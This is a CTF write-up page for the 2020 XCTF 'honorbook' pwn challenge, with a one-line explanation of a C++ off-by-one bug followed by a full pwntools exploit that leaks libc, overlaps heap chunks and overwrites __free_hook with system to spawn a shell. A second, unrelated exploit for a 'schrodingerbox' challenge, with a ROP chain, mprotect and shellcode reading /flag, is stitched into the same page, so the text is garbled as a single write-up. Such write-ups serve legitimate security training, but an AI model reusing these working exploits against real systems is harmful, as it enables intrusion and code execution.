honorbook

发表于 2021-05-21 分类于 Challenge， 2020， XCTF高校网络安全专题挑战赛， 鲲鹏计算专场， Pwn
Challenge | 2020 | XCTF高校网络安全专题挑战赛 | 鲲鹏计算专场 | Pwn | honorbook

点击此处获得更好的阅读体验

WriteUp来源

官方WP

题目描述

题目考点

解题思路

CPP, Off by one, 可以覆盖结构体的最低位，导致破坏其他的结构体

EXP

```
from pwn import *

remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

is_remote = False
elf_path = "./honorbook"
elf = ELF(elf_path)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libs/lib/libc-2.27.so")

context.terminal = ["tmux", "new-window"]
if is_remote:
    p=remote(remote_addr[0],remote_addr[1])
else:
    p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla(": ", str(idx))

def add(idx, name, msg):
    choice(1)
    choice(idx)
    sa(": ", name)
    sa(": ", msg)

def echo(filename, content, is_append = False):
    sleep(1)
    sn(content)

def rm(idx):
    choice(2)
    choice(idx)

def show(idx):
    choice(3)
    choice(idx)
```

```
def edit(idx, msg):
    choice(4)
    sa(": ", msg)

if __name__ == '__main__':
    lg("libc", 0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
    for i in range(11):
        add(i, str(i), "AA\n")
    for i in range(10):
        rm(i)
    choice("0"*0x500+'123')
    for i in range(10):
        add(i, str(i), "AA\n")

    show(7)
    ru(": ")

    #libc_addr = raddr() - 0x3ec037 + 0x100
    libc_addr = u64(rv(3).ljust(8, '\x00')) + 0x4000000000 - 0x107d37 #- libc.symbols['_IO_2_1_stdin_']
    libc.address = libc_addr
    lg("libc addr", libc_addr)
    ru("Code")
    #p.interactive()
    add(21, 'BB', "CC\n")
    add(22, 'BB', p64(0x21)*(0xe0/8) + '\n')
    rm(21)
    add(21, 'BB', "C"*0xe8 + p8(0xf0))
    rm(0)
    rm(1)
    rm(22)
    add(23, '/bin/sh\x00', p64(libc.symbols['__free_hook'])*(0xe0/8) + '\n')
    add(24, 'BB', "/bin/sh\x00\n")
    add(25, 'BB', p64(libc.symbols['system']) + '\n')
    rm(24)

    p.interactive()
schrodingerbox
exp.py

#!/usr/bin/python3
from pwn import *

p = remote('127.0.0.1', 52520)

# NOTE : This won't work if you launch it locally like p=process('./easteregg')

xchg = 0x49E61B
poprax = 0x0000000000420382
poprdi = 0x0000000000400726
poprsi = 0x000000000040167f
poprdx = 0x0000000000047de66
incrax = 0x0000000000501750
poprbx = 0x00000000004072a9
syscall = 0x4C78E5

context.arch = 'amd64'


def create(type='small'):
    p.sendlineafter('5.quit', '1')
    p.sendlineafter('?', type)


def view(idx):
    p.sendlineafter('5.quit', '4')

    p.sendlineafter('?', str(idx))


for x in range(10):
    create()
p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fb0)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
dsize = 0x1e3ef0 + 1

p.sendlineafter('?', str(dsize))

p.send('x' * dsize)

view(9)

p.recvuntil('x' * dsize)
heap = (u64(p.recvuntil(' ', drop=1).ljust(8, b'\x00')) << 8) - 0x1eeab8
log.success('heap:' + hex(heap))

payload = b'\x00' * 0x20 + p64(0x00000000004488f8)  # add rsp, 0x48 ; ret
payload = payload.ljust(0x58, b'\x00')
```

```
payload += p64(xchg)
payload += p64(0) * 2
# NOTE : Since our program has been "traced", execve to new shell won't work as well.:)
# ================ROP START==================
payload += p64(poprax)
payload += p64(9)
payload += p64(incrax)
payload += p64(poprdi)
payload += p64(heap & 0xfffffffffffff000)
payload += p64(poprsi)
payload += p64(0x1000)
payload += p64(poprdx)
payload += p64(7)
payload += p64(syscall)
payload += p64(heap + 0xb8) * 3
# ================ROP END==================
payload += asm(shellcraft.amd64.linux.cat('/flag'))  # modify it to your flag file path

payload = payload.ljust(0x1e3ed8, b'n')
payload += p64(0x200000)  # Some stuffs that I don't know :)
payload += p64(0)
payload += p64(0x3a0efff)
payload += p64(heap + 0x1eeab8)
payload += p64(0x1f5400)
payload += b'\x00' * 16
payload += p64(heap - 0x41c138)
payload = payload.ljust(0x1e3fa0, b'\x00')
payload += p64(heap)  # This is actually extent_hook

p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fa8)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
p.sendlineafter('?', str(0x1e3fa8))
p.send(payload)

# gdb.attach(p, 'b *0x4BF25A')
p.sendlineafter('5.quit', '1')
p.sendlineafter('?', 'large')  # trigger shellcode
p.interactive()
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2020/XCTF高校网络安全专题挑战赛/鲲鹏计算专场/Pwn/mn136a7HvGXnRJNrSrhebn.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

#Challenge #2020 #Pwn #XCTF高校网络安全专题挑战赛 #鲲鹏计算专场
ContractGame
pypy